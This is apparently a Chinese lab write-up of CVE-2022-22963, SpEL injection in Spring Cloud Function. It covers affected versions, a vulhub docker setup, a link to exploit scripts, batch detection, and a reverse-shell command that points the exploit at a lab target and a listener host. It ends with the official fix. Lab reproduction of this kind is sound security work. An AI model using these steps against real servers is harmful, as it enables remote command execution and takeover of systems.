1.漏洞描述
SpringCloudFunction是SpringBoot开发的一个Servless中间件(FAAS),支持基于SpEL的函数式动态路由。当Spring Cloud Function 启用动态路由functionRouter时, HTTP请求头
spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行。
2.影响版本
Spring Cloud Function 3.0.0 <= v3.2.2
3.POC和EXP
下载地址:https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE
4.漏洞环境搭建
本次环境使用docker+vulhub搭建,进入vulhub/spring/CVE-2022-22963目录,执行docker-compose up –d安装
端口默认8080,访问Spring Web页面
5.漏洞复现
使用POC脚本检测,可以批量检测
创建url.txt,内容为http://192.168.42.143:8080/
使用exp脚本反弹shell
Kali开启监听
反弹shell
python3 Spel_RCE_Bash_EXP.py http://192.168.42.143:8080/ 192.168.42.147 1919
6.修复建议
官方目前发布了修复此漏洞的 commit:https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f,可下载官方的修复代码重新编译打包。